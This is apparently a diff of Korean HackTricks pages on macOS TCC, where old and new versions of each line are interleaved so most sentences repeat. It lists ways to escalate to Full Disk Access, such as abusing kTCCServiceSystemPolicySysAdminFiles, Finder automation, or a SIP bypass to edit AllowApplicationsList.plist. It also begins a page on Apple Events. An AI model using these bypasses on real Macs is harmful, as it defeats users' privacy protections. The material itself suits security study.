[**접근성 권한을 악용하는 payload**](macos-tcc-payloads.md#accessibility)를 확인하여 FDA\*로 권한 상승 또는 예를 들어 키로거를 실행할 수 있습니다.
|
||||
|
||||
[**접근성 권한을 남용하는 페이로드**](macos-tcc-payloads.md#accessibility)를 확인하여 FDA\*로 권한 상승 또는 키로거 실행 등을 할 수 있습니다.
|
||||
### **Endpoint Security Client를 FDA로**
|
||||
|
||||
#### **Endpoint Security Client를 FDA로**
|
||||
만약 **`kTCCServiceEndpointSecurityClient`**를 가지고 있다면, FDA를 가지고 있는 것입니다. 끝.
|
||||
|
||||
\*\*`kTCCServiceEndpointSecurityClient`\*\*를 가지고 있다면 FDA를 가지고 있는 것입니다. 끝.
|
||||
### 시스템 정책 SysAdmin 파일을 FDA로
|
||||
|
||||
#### 시스템 정책 SysAdmin 파일을 FDA로
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`**는 사용자의 홈 폴더를 변경하고 따라서 **TCC 우회**를 허용하는 **`NFSHomeDirectory`** 속성을 변경할 수 있습니다.
|
||||
|
||||
\*\*`kTCCServiceSystemPolicySysAdminFiles`\*\*는 사용자의 홈 폴더를 변경하여 TCC를 우회할 수 있게 해주는 **`NFSHomeDirectory`** 속성을 **변경**할 수 있습니다.
|
||||
|
||||
#### 사용자 TCC DB를 FDA로
|
||||
### 사용자 TCC DB를 FDA로
|
||||
|
||||
사용자 TCC 데이터베이스에 **쓰기 권한**을 얻으면 **`FDA`** 권한을 부여할 수 없습니다. 시스템 데이터베이스에 있는 권한만 부여할 수 있습니다.
|
||||
|
||||
하지만 \*\*`Finder에 대한 자동화 권한`\*\*을 부여하고 이전 기술을 남용하여 FDA\*로 상승할 수 있습니다.
|
||||
하지만 **`Finder에 대한 자동화 권한`**을 부여하고 이전 기술을 악용하여 FDA\*로 상승할 수 있습니다.
|
||||
|
||||
#### **FDA에서 TCC 권한으로**
|
||||
### **FDA에서 TCC 권한으로**
|
||||
|
||||
**전체 디스크 액세스**의 TCC 이름은 \*\*`kTCCServiceSystemPolicyAllFiles`\*\*입니다.
|
||||
**전체 디스크 액세스**의 TCC 이름은 **`kTCCServiceSystemPolicyAllFiles`**입니다.
|
||||
|
||||
실제 권한 상승은 아닌 것 같습니다만, 유용할 수 있습니다: FDA를 제어할 수 있다면 사용자 TCC 데이터베이스를 수정하고 어떤 액세스든 부여할 수 있습니다. FDA 권한을 잃을 수도 있기 때문에 이겢의 지속성 기술로 유용할 수 있습니다.
|
||||
실제 권한 상승은 아닌 것 같습니다만, 유용할 수 있습니다: FDA를 통제하는 프로그램이 있다면 사용자 TCC 데이터베이스를 수정하고 어떤 액세스든 부여할 수 있습니다. FDA 권한을 잃을 수도 있기 때문에 이는 지속성 기술로 유용할 수 있습니다.
|
||||
|
||||
#### **SIP 우회에서 TCC 우회로**
|
||||
### **SIP 우회에서 TCC 우회로**
|
||||
|
||||
시스템 TCC 데이터베이스는 **SIP**에 의해 보호됩니다. 따라서 **지정된 엔타이틀먼트를 가진 프로세스만 수정**할 수 있습니다. 따라서, 공격자가 SIP 우회를 찾으면 파일을 수정할 수 있게 되며 다음을 할 수 있습니다:
|
||||
시스템 TCC 데이터베이스는 **SIP**에 의해 보호되므로 **지정된 엔타이틀먼트를 가진 프로세스만 수정**할 수 있습니다. 따라서, 공격자가 SIP 우회를 찾으면 파일을 수정할 수 있게 되며 다음을 수행할 수 있습니다:
|
||||
|
||||
* TCC 데이터베이스의 보호를 **제거**하고 모든 TCC 권한을 부여할 수 있습니다. 예를 들어 다음 파일을 남용할 수 있습니다:
|
||||
* TCC 시스템 데이터베이스
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
* TCC 데이터베이스의 보호를 **제거**하고 모든 TCC 권한을 부여할 수 있습니다. 예를 들어 다음 파일 중 하나를 악용할 수 있습니다:
|
||||
* TCC 시스템 데이터베이스
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
그러나 이 **SIP 우회를 TCC 우회로 남용**할 수 있는 다른 옵션이 있습니다. `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 파일은 TCC 예외를 필요로 하는 애플리케이션의 허용 목록입니다. 따라서, 공격자가 이 파일의 SIP 보호를 **제거**하고 **자신의 애플리케이션**을 추가하면 해당 애플리케이션이 TCC를 우회할 수 있습니다.\
|
||||
그러나 이 **SIP 우회를 TCC 우회로 악용**하는 다른 옵션이 있습니다. `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 파일은 TCC 예외를 필요로 하는 애플리케이션의 허용 목록입니다. 따라서, 공격자가 이 파일의 SIP 보호를 **제거**하고 **자신의 애플리케이션**을 추가하면 해당 애플리케이션이 TCC를 우회할 수 있습니다.\
|
||||
예를 들어 터미널을 추가하려면:
|
||||
|
||||
```bash
|
||||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
```
|
||||
### AllowApplicationsList.plist:
|
||||
|
||||
`AllowApplicationsList.plist`:
|
||||
|
||||
허용된 애플리케이션 목록입니다.
|
||||
|
||||
### 허용애플리케이션목록.plist:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -549,14 +588,29 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### TCC 우회
|
||||
|
||||
#### TCC 우회
|
||||
{% content-ref url="macos-tcc-bypasses/" %}
|
||||
[macos-tcc-bypasses](macos-tcc-bypasses/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 참고 자료
|
||||
## 참고 자료
|
||||
|
||||
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
|
||||
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
|
||||
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
|
||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 홍보하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,46 @@
|
|||
# macOS Apple Events
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**Apple Events**는 Apple의 macOS에서 애플리케이션이 서로 통신할 수 있게 하는 기능입니다. 이는 macOS 운영 체제의 일부인 **Apple Event Manager**의 일부로, 프로세스 간 통신을 처리하는 역할을 담당합니다. 이 시스템을 통해 한 애플리케이션이 다른 애플리케이션에게 특정 작업을 수행하도록 요청하는 메시지를 보낼 수 있습니다. 예를 들어 파일을 열거나 데이터를 검색하거나 명령을 실행하는 것과 같은 작업을 수행할 수 있습니다.
|
||||
|
||||
mina 데몬은 `/System/Library/CoreServices/appleeventsd`이며 서비스 `com.apple.coreservices.appleevents`를 등록합니다.
|
||||
|
||||
이 데몬은 Apple Event Mach Port를 제공하여 이벤트를 수신할 수 있는 모든 애플리케이션을 확인합니다. 그리고 앱이 이벤트를 보내려면 데몬으로부터 이 포트를 요청해야 합니다.
|
||||
|
||||
샌드박스화된 애플리케이션은 이벤트를 보낼 수 있도록 `allow appleevent-send` 및 `(allow mach-lookup (global-name "com.apple.coreservices.appleevents))`와 같은 권한이 필요합니다. `com.apple.security.temporary-exception.apple-events`와 같은 권한은 `com.apple.private.appleevents`와 같은 권한이 필요한 이벤트를 보낼 수 있는 사용자를 제한할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
메시지를 보낸 정보를 로그로 기록하려면 환경 변수 **`AEDebugSends`**를 사용할 수 있습니다.
|
||||
```bash
|
||||
AEDebugSends=1 osascript -e 'tell application "iTerm" to activate'
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 제로부터 영웅이 되는 AWS 해킹 배우기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue